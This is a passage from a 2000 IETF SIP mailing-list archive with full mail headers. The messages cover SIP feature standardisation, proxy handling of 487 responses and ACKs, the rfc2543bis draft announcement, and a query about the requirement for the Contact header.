being concerned with 'interoperability.' I assume that RFCs like this will only be illustrative as to how these extensions could be used to create different feature types. I do not see it to be beneficial to the user or vendor for the IETF to attempt to decide on the details of feature operation and interaction. Tom Gray > > -----Original Message----- > > From: Alan Johnston > [mailto:alan.johnston@wcom.com] > > Sent: Wednesday, August 09, 2000 4:19 PM > > To: Rosen, Brian > > Cc: 'Tom Gray'; Henry Sinnreich; Robert Sparks; > > sip@lists.bell-labs.com > > Subject: Re: [SIP] The NOTIFY method > > > > > > Brian, > > > > The next call flows document, SIP Service Examples > (based on what was > > section 7 from draft-ietf-sip-call-flows-00.txt > which uses > > Bye-Also) will > > cover many of these issues, and will hopefully > become an Informational > > RFC. The basic goal of the document will be to > give > > examples of common > > PSTN Class and PBX features using SIP. The draft > will use > > REFER and other > > new methods and extensions. > > > > Alan. > > > > "Rosen, Brian" wrote: > > > > > My opinion is that where it is essential that > two sip components > > > agree on how a feature is to be handled, then > there should be > > > some kind of document that describes how that > works, so that > > > interoperability can be achieved. If the > feature is solely > > implemented > > > in a single element, then it is not something we > need to > > > worry about. > > > > > > Just because there needs to be a document does > not imply a standards > > > track RFC. Only things which are not achievable > with existing SIP > > > methods might need extensions. Other features > might be covered in > > > other kinds of documents, Informational RFCs for > example, or even > > > documents not in the IETF. > > > > > > > -----Original Message----- > > > > From: Tom Gray > [mailto:tom_gray_intp@yahoo.com] > > > > Sent: Monday, August 07, 2000 6:49 PM > > > > To: Henry Sinnreich; Robert Sparks; > sip@lists.bell-labs.com > > > > Subject: RE: [SIP] The NOTIFY method > > > > > > > > > > > > > > > > --- Henry Sinnreich > wrote: > > > > > >May I ask why SIP is being extended to > include PBX > > > > > >feature handling? > > > > > > > > > > SIP phones can provide the PBX features > without the > > > > > (IP)PBX. > > > > > > > > > > Henry > > > > > > > > > > > > > What levels of features do you then see being > created > > > > with SIP? There a a whole host of PBX > features. It > > > > seems that you are asking for a subset. > > > > > > > > Tom Gray > > > > > > > > > > > > > > > > > > _______________________________________________ > > > SIP mailing list > > > SIP@lists.bell-labs.com > > > http://lists.bell-labs.com/mailman/listinfo/sip > > __________________________________________________ Do You Yahoo!? Kick off your party with Yahoo! Invites. http://invites.yahoo.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 09:26:08 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA21032 for ; Thu, 10 Aug 2000 09:26:08 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DB74544351; Thu, 10 Aug 2000 09:24:56 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from dgesmtp01.wcom.com (dgesmtp01.wcom.com [199.249.16.16]) by lists.bell-labs.com (Postfix) with ESMTP id D2F2044338 for ; Thu, 10 Aug 2000 09:24:52 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-33 #42260) id <0FZ200L01VXD69@firewall.mcit.com> for sip@lists.bell-labs.com; Thu, 10 Aug 2000 13:24:50 +0000 (GMT) Received: from dgismtp02.wcomnet.com ([166.38.58.142]) by firewall.mcit.com (PMDF V5.2-33 #42260) with ESMTP id <0FZ200K3NVXA9B@firewall.mcit.com>; Thu, 10 Aug 2000 13:24:46 +0000 (GMT) Received: from CONVERSION-DAEMON by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) id <0FZ200L01VXA1S@dgismtp02.wcomnet.com>; Thu, 10 Aug 2000 13:24:46 +0000 (GMT) Received: from dgismtp02.wcomnet.com by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with SMTP id <0FZ200L01VXA1R@dgismtp02.wcomnet.com>; Thu, 10 Aug 2000 13:24:46 +0000 (GMT) Received: from omzexch006.mcit.com ([166.37.194.37]) by dgismtp02.wcomnet.com (PMDF V5.2-33 #42263) with ESMTP id <0FZ200CK4VWV5O@dgismtp02.wcomnet.com>; Thu, 10 Aug 2000 13:24:31 +0000 (GMT) Received: by omzexch006 with Internet Mail Service (5.5.2651.58) id ; Thu, 10 Aug 2000 13:24:31 +0000 Content-return: allowed Date: Thu, 10 Aug 2000 13:24:27 +0000 From: "McMurry, Kathleen" Subject: RE: [SIP] ACK handling at Stateful Proxies To: "'Jo Hornsby'" , Jonathan Rosenberg Cc: Henning Schulzrinne , sip@lists.bell-labs.com Message-id: <75C79E507864D3118AFC00805FEAB7D8714674@ripexch001.mcit.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-type: text/plain; charset=ISO-8859-1 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com I have some follow up questions about the 487 message handling at a Proxy that was discussed on this thread. You mentioned that upon expiration of the Expires timer, a Proxy should not send a 408 to the OUA until after the TUA responds with a 487. This seems to have a backwards computability problem. If the TUA does not yet support the 487, the Proxy will never receive the 487. What timer should the Proxy use for waiting for the 487 - a T1 Timer on the INVITE? Upon expiration of that timer, does the Proxy resend the INVITE? If it resent the INVITE to a TUA that didn't support the 487, the TUA would think this was a new call request (at least prior to the bis draft). Is there a new kind of timer to use for this case? Upon expiration of that timer, the Proxy would then send the 408. There is no discussion of this in the bis draft. Also, in the case of a parallel proxy does the Proxy wait for all branches to return the 487, or just the first one? Thanks, Kathleen -----Original Message----- From: Jo Hornsby [mailto:jhornsby@ubiquity.net] Sent: 28 July, 2000 9:33 AM To: Jonathan Rosenberg Cc: Henning Schulzrinne; sip@lists.bell-labs.com Subject: RE: [SIP] ACK handling at Stateful Proxies > Thats the problem. What I'm arguing is that upon sending cancel, P1 > should NOT at that point return a 408, but rather wait for the > 487. If everyone implemented bis, it would get this 487 right away > (modulo packet losses), or get a different final response if that > response and the CANCEL pass on the wire. Ah right, I see. I guess we'll have to kick of another timer, in case the next downstream stateful-proxy/UA doesn't return a 487. But that's no biggie. > > > In the interim, it can happen. In this case, I would recommend > > > forwarding ACKs that match a 200 OK you've sent upstream. > > > > Even though the UA might not have seen the 200, and is even > > less likely to as a result of forwarding the ACK? Also, should > > this ACK halt the 487 (or whatever) retransmissions? > > Hmm. Actually, there is a way to distinguish these two ACKs. If the UAS > is > acking the non-200, the ACK won't contain any Route headers. If the ACK > is for the 200, it will. So, if the proxy receives an ACK without route > headers, it knows the ACK is for it. Works so long as UAS inserts > Contact. Very sweet. > Sound right? Yup -- works for me. Cheers, - Jo. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 09:39:27 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA21956 for ; Thu, 10 Aug 2000 09:39:27 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C5D9444377; Thu, 10 Aug 2000 09:39:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by lists.bell-labs.com (Postfix) with ESMTP id 148E744338 for ; Thu, 10 Aug 2000 09:38:59 -0400 (EDT) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id JAA24641; Thu, 10 Aug 2000 09:38:56 -0400 (EDT) Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id JAA18400; Thu, 10 Aug 2000 09:38:56 -0400 (EDT) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Thu, 10 Aug 2000 09:37:59 -0400 Message-ID: <4FBEA8857476D311A03300204840E1CF678707@whq-msgusr-02.fore.com> From: "Rosen, Brian" To: "'Tom Gray'" Cc: sip@lists.bell-labs.com Subject: RE: [SIP] The NOTIFY method Date: Thu, 10 Aug 2000 09:37:55 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Well, Informational means Informational, and not Standard, so you get what you asked for. As the saying goes, we aren't the protocol police, so any RFC we create can be violated with impunity. Of course, as a customer, I could always demand compliance to an Informational RFC if I wanted to. Many of the examples show how features COULD be implemented, but there are other ways to do them. I worry some about features that require both a UA and a proxy server to agree on how they are implemented, because I want a Brand X UA to work with a Brand Y proxy server. For that matter if it depends on two UAs or two proxy servers, I want to mix and match them too. However, at this time, I would not advocate trying to create a standards track RFC that defines how such features work. In some cases, as with Transfer, a new method is needed. The draft addresses that need for Transfer, and I think it should be moved along to a standards track RFC. Brian > -----Original Message----- > From: Tom Gray [mailto:tom_gray_intp@yahoo.com] > Sent: Thursday, August 10, 2000 9:16 AM > To: Rosen, Brian; 'Alan Johnston' > Cc: 'Tom Gray'; Henry Sinnreich; Robert Sparks; > sip@lists.bell-labs.com > Subject: RE: [SIP] The NOTIFY method > > > > --- "Rosen, Brian" wrote: > > Yep, that was one of those "Informational RFCs" I > > was talking about. > > > > Brian > > > > The informaional RFC is described as being concerned > with 'interoperability.' I assume that RFCs like this > will only be illustrative as to how these extensions > could be used to create different feature types. I do > not see it to be beneficial to the user or vendor for > the IETF to attempt to decide on the details of > feature operation and interaction. > > Tom Gray > > > > > -----Original Message----- > > > From: Alan Johnston > > [mailto:alan.johnston@wcom.com] > > > Sent: Wednesday, August 09, 2000 4:19 PM > > > To: Rosen, Brian > > > Cc: 'Tom Gray'; Henry Sinnreich; Robert Sparks; > > > sip@lists.bell-labs.com > > > Subject: Re: [SIP] The NOTIFY method > > > > > > > > > Brian, > > > > > > The next call flows document, SIP Service Examples > > (based on what was > > > section 7 from draft-ietf-sip-call-flows-00.txt > > which uses > > > Bye-Also) will > > > cover many of these issues, and will hopefully > > become an Informational > > > RFC. The basic goal of the document will be to > > give > > > examples of common > > > PSTN Class and PBX features using SIP. The draft > > will use > > > REFER and other > > > new methods and extensions. > > > > > > Alan. > > > > > > "Rosen, Brian" wrote: > > > > > > > My opinion is that where it is essential that > > two sip components > > > > agree on how a feature is to be handled, then > > there should be > > > > some kind of document that describes how that > > works, so that > > > > interoperability can be achieved. If the > > feature is solely > > > implemented > > > > in a single element, then it is not something we > > need to > > > > worry about. > > > > > > > > Just because there needs to be a document does > > not imply a standards > > > > track RFC. Only things which are not achievable > > with existing SIP > > > > methods might need extensions. Other features > > might be covered in > > > > other kinds of documents, Informational RFCs for > > example, or even > > > > documents not in the IETF. > > > > > > > > > -----Original Message----- > > > > > From: Tom Gray > > [mailto:tom_gray_intp@yahoo.com] > > > > > Sent: Monday, August 07, 2000 6:49 PM > > > > > To: Henry Sinnreich; Robert Sparks; > > sip@lists.bell-labs.com > > > > > Subject: RE: [SIP] The NOTIFY method > > > > > > > > > > > > > > > > > > > > --- Henry Sinnreich > > wrote: > > > > > > >May I ask why SIP is being extended to > > include PBX > > > > > > >feature handling? > > > > > > > > > > > > SIP phones can provide the PBX features > > without the > > > > > > (IP)PBX. > > > > > > > > > > > > Henry > > > > > > > > > > > > > > > > What levels of features do you then see being > > created > > > > > with SIP? There a a whole host of PBX > > features. It > > > > > seems that you are asking for a subset. > > > > > > > > > > Tom Gray > > > > > > > > > > > > > > > > > > > > > > > _______________________________________________ > > > > SIP mailing list > > > > SIP@lists.bell-labs.com > > > > http://lists.bell-labs.com/mailman/listinfo/sip > > > > > > __________________________________________________ > Do You Yahoo!? > Kick off your party with Yahoo! Invites. > http://invites.yahoo.com/ > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 10:12:49 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA23913 for ; Thu, 10 Aug 2000 10:12:48 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 69F9D4437D; Thu, 10 Aug 2000 10:11:47 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from picard.noroff.no (unknown [212.20.204.3]) by lists.bell-labs.com (Postfix) with ESMTP id 676F144344 for ; Thu, 10 Aug 2000 10:11:43 -0400 (EDT) Received: by picard.noroff.no (Postfix, from userid 815) id C5C7422002; Thu, 10 Aug 2000 16:55:55 +0200 (CEST) Received: from loki.ietf.org (loki.ietf.org [132.151.1.177]) by picard.noroff.no (Postfix) with ESMTP id 75290B3802 for ; Thu, 10 Aug 2000 16:55:53 +0200 (CEST) Received: (from adm@localhost) by loki.ietf.org (8.9.1b+Sun/8.9.1) id JAA06288 for ietf-123-outbound.09@ietf.org; Thu, 10 Aug 2000 09:25:01 -0400 (EDT) Received: from ietf.org (odin.ietf.org [10.27.2.28]) by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id GAA04765 for ; Thu, 10 Aug 2000 06:52:57 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA14331; Thu, 10 Aug 2000 06:52:58 -0400 (EDT) Message-Id: <200008101052.GAA14331@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: sip@lists.bell-labs.com From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Date: Thu, 10 Aug 2000 06:52:58 -0400 X-AntiVirus: scanned for viruses by Amavis 0.2.1-pre2 Subject: [SIP] I-D ACTION:draft-ietf-sip-rfc2543bis-00.txt,.ps Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Session Initiation Protocol Working Group of the IETF. Title : SIP: Session Initiation Protocol Author(s) : M. Handley, H. Schulzrinne, E. Schooler, J. Rosenberg Filename : draft-ietf-sip-rfc2543bis-00.txt,.ps Pages : 177 Date : 09-Aug-00 The Session Initiation Protocol (SIP) is an application-layer control (signaling) protocol for creating, modifying and terminating sessions with one or more participants. These sessions include Internet multimedia conferences, Internet telephone calls and multimedia distribution. Members in a session can communicate via multicast or via a mesh of unicast relations, or a combination of these. SIP invitations used to create sessions carry session descriptions which allow participants to agree on a set of compatible media types. SIP supports user mobility by proxying and redirecting requests to the user's current location. Users can register their current location. SIP is not tied to any particular conference control protocol. SIP is designed to be independent of the lower-layer transport protocol and can be extended with additional capabilities. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sip-rfc2543bis-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sip-rfc2543bis-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sip-rfc2543bis-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20000809142447.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sip-rfc2543bis-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sip-rfc2543bis-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20000809142447.I-D@ietf.org> --OtherAccess-- --NextPart-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 10:26:41 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA24640 for ; Thu, 10 Aug 2000 10:26:40 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D656244387; Thu, 10 Aug 2000 10:23:57 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail-green.research.att.com (H-135-207-30-103.research.att.com [135.207.30.103]) by lists.bell-labs.com (Postfix) with ESMTP id 54A5E44344 for ; Thu, 10 Aug 2000 10:23:54 -0400 (EDT) Received: from alliance.research.att.com (alliance.research.att.com [135.207.26.26]) by mail-green.research.att.com (Postfix) with ESMTP id 621861E01D for ; Thu, 10 Aug 2000 10:23:49 -0400 (EDT) Received: from fish-ha.research.att.com (fish-ha.research.att.com [135.207.27.137]) by alliance.research.att.com (8.8.7/8.8.7) with ESMTP id KAA21780 for ; Thu, 10 Aug 2000 10:23:48 -0400 (EDT) From: William Marshall Received: (from wtm@localhost) by fish-ha.research.att.com (980427.SGI.8.8.8/8.8.5) id KAA32432 for sip@lists.bell-labs.com; Thu, 10 Aug 2000 10:20:48 -0400 (EDT) Date: Thu, 10 Aug 2000 10:20:48 -0400 (EDT) Message-Id: <200008101420.KAA32432@fish-ha.research.att.com> Subject: Re: [SIP] I-D ACTION:draft-ietf-sip-rfc2543bis-00.txt,.ps Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com > A New Internet-Draft is available from the on-line Internet-Drafts directories. > This draft is a work item of the Session Initiation Protocol Working Group of the IETF. > > Title : SIP: Session Initiation Protocol > Author(s) : M. Handley, H. Schulzrinne, E. Schooler, J. Rosenberg > Filename : draft-ietf-sip-rfc2543bis-00.txt,.ps ^^ Wasn't version 00 submitted prior to the Pittsburgh IETF? Shouldn't this be version 01? If not, I'd like to request that the version number be incremented with each update, so that we can know which version is being referenced. Bill Marshall wtm@research.att.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 10:26:59 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA24669 for ; Thu, 10 Aug 2000 10:26:58 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4EFAB4438C; Thu, 10 Aug 2000 10:26:28 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 7440C44344 for ; Thu, 10 Aug 2000 10:26:24 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id KAA17269; Thu, 10 Aug 2000 10:26:23 -0400 (EDT) Message-ID: <3992BB8F.7A2F0C5@cs.columbia.edu> Date: Thu, 10 Aug 2000 10:26:23 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: William Marshall Cc: sip@lists.bell-labs.com Subject: Re: [SIP] I-D ACTION:draft-ietf-sip-rfc2543bis-00.txt,.ps References: <200008101420.KAA32432@fish-ha.research.att.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit William Marshall wrote: > > > A New Internet-Draft is available from the on-line Internet-Drafts directories. > > This draft is a work item of the Session Initiation Protocol Working Group of the IETF. > > > > Title : SIP: Session Initiation Protocol > > Author(s) : M. Handley, H. Schulzrinne, E. Schooler, J. Rosenberg > > Filename : draft-ietf-sip-rfc2543bis-00.txt,.ps > ^^ > > Wasn't version 00 submitted prior to the Pittsburgh IETF? Shouldn't > this be version 01? Yes, I just contacted the I-D editor about this. Something seems to have gone wrong. > > If not, I'd like to request that the version number be incremented with > each update, so that we can know which version is being referenced. That is indeed the normal procedure. > > Bill Marshall > wtm@research.att.com > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 11:04:54 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA26699 for ; Thu, 10 Aug 2000 11:04:54 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A52524438A; Thu, 10 Aug 2000 11:04:16 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from eyeforthefuture.com (eyeforthefuture.com [216.122.88.93]) by lists.bell-labs.com (Postfix) with ESMTP id AB20644338 for ; Thu, 10 Aug 2000 11:04:11 -0400 (EDT) Received: from [208.61.12.41] (adsl-61-12-41.mia.bellsouth.net [208.61.12.41]) by eyeforthefuture.com (8.9.3/8.9.3) with ESMTP id IAA10308; Thu, 10 Aug 2000 08:01:11 -0700 (PDT) User-Agent: Microsoft Outlook Express Macintosh Edition - 5.01 (1630) Date: Thu, 10 Aug 2000 10:54:45 -0400 From: David Shrader To: Henning Schulzrinne , SIP List Message-ID: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Subject: [SIP] Nit in 2543bis Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Henning, I found a small discrepancy in 2543bis regarding the Contact header in the INVITE message. Section 6.5 Contact states "INVITE requests MUST ... contain Contact headers..." Section 11.1 Caller Issues Initial INVITE Request states "A UAC MAY optionally add a Contact header ..." Which is the correct requirement here? David ---------------------------- David Shrader Master Consultant, Inc. DShrader@EyeForTheFuture.com http://www.EyeForTheFuture.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 11:14:06 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA27214 for ; Thu, 10 Aug 2000 11:14:06 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DB0414438D; Thu, 10 Aug 2000 11:13:45 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sindhu.realchip.co.in (sindhu.rrsycore.co.in [202.54.34.66]) by lists.bell-labs.com (Postfix) with ESMTP id 774A444338 for ; Thu, 10 Aug 2000 11:13:39 -0400 (EDT) Received: from dhruva ([192.9.200.117]) by sindhu.realchip.co.in (8.10.1/8.10.1) with SMTP id e7AFZsX11561 for ; Thu, 10 Aug 2000 20:35:54 +0500 (GMT) From: "Dhruva Narasimhan" To: Date: Thu, 10 Aug 2000 20:44:13 +0530 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Subject: [SIP] (no subject) Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 11:28:32 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA28152 for ; Thu, 10 Aug 2000 11:28:32 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A4E4744381; Thu, 10 Aug 2000 11:27:44 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id E104D44338 for ; Thu, 10 Aug 2000 11:27:40 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA21639; Thu, 10 Aug 2000 11:27:35 -0400 (EDT) Message-ID: <3992C9E7.4F0F1F08@cs.columbia.edu> Date: Thu, 10 Aug 2000 11:27:35 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: David Shrader Cc: SIP List References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Re: Nit in 2543bis Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit David Shrader wrote: > > Henning, > > I found a small discrepancy in 2543bis regarding the Contact header in the > INVITE message. > > Section 6.5 Contact states "INVITE requests MUST ... contain Contact > headers..." > > Section 11.1 Caller Issues Initial INVITE Request states "A UAC MAY > optionally add a Contact header ..." > > Which is the correct requirement here? The latter, contained in the bis-01 version to appear tomorrow. (The I-D announcement today is for the old, July 13th, version and should be ignored.) -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 11:30:17 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA28310 for ; Thu, 10 Aug 2000 11:30:17 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 392724438E; Thu, 10 Aug 2000 11:28:24 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 82AFB44338 for ; Thu, 10 Aug 2000 11:28:20 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA21687; Thu, 10 Aug 2000 11:28:18 -0400 (EDT) Message-ID: <3992CA12.98DF7B44@cs.columbia.edu> Date: Thu, 10 Aug 2000 11:28:18 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: David Shrader Cc: SIP List References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Re: Nit in 2543bis Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit David Shrader wrote: > > Henning, > > I found a small discrepancy in 2543bis regarding the Contact header in the > INVITE message. > > Section 6.5 Contact states "INVITE requests MUST ... contain Contact > headers..." > > Section 11.1 Caller Issues Initial INVITE Request states "A UAC MAY > optionally add a Contact header ..." > Oops, wrong reference in my previous email. MUST is the right choice. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 11:53:50 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com 